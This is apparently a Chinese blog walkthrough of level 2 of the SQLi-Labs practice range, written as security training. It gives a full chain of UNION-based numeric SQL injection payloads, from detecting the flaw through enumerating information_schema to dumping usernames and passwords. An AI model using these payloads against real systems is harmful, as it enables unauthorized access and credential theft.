SQLi-LABS靶场-2 详解

发布于 2021-10-25  187 次阅读


SQLi-Labs 是一个专业的SQL注入练习平台

今天注入靶场的第二关,访问第二关主页,get传参id=1,如图:

接下来,我们判断$id是否有注入点,今天不用传统的判断注入点的方法,用一种思路比较新颖的方法:

?id=1asdsa7

SQL注入判断注入点的传统方法是使带入数据库时判断1=1是否正确,1=2是否不正确,但我们可以直接输入一串数据库不可能有的字段值,来通过是否报错从而得知是否有注入点。

通过报错我们可以猜测到此处有sql注入点,在猜测的时候不需要加引号,所以我么猜测是数字型的SQL注入。

现在,我们查询字段数

?id=1 order by 4

查询结果如下

当传入id=1 order by 3 时页面回显正常,传入id=1 order by 4 时发生报错。所以我们猜测当前查询的表有3个字段,我们查看下第二关的源码。

从源码中发现 $id 周围并没有引号,所以我们的猜想是正确的第二关为数字型的SQL注入。

接下来我们让SQL产生报错,看下字段输出数据的位置

?id=-1 union select 1,2,3

输出数据的位置在第二个字段和第三个字段。

接下来我们进行信息搜集,查询当前数据库用户,当前数据库版本

?id=-1 union select 1,user(),@@version

发现权限是root,并且mysql版本>5.0,继续查询当前数据库名

?id=-1 union select 1,2,database()

查询到当前数据库名为security,借助information_schema和库名查询当前数据库下的所有表名

?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema = 'security'

发现有个users的表,我们通过表名继续查询字段名

?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name = 'users'

发现三个字段中有username和password字段,我们查询下users表内数据

?id=-1 union select 1,2,group_concat(username,0x7e,password) from security.users  //0x7e是16进制代表~的意思

查询账号密码成功,第二关到此就结束了。

数字型注入和字符型注入很相似,却也有很大的不同,在发现注入点时,一定要判断好是什么类型的注入。才好为我们接下来的注入减少不必要的麻烦。


我从未觉得繁琐,说浪漫些,我很爱你。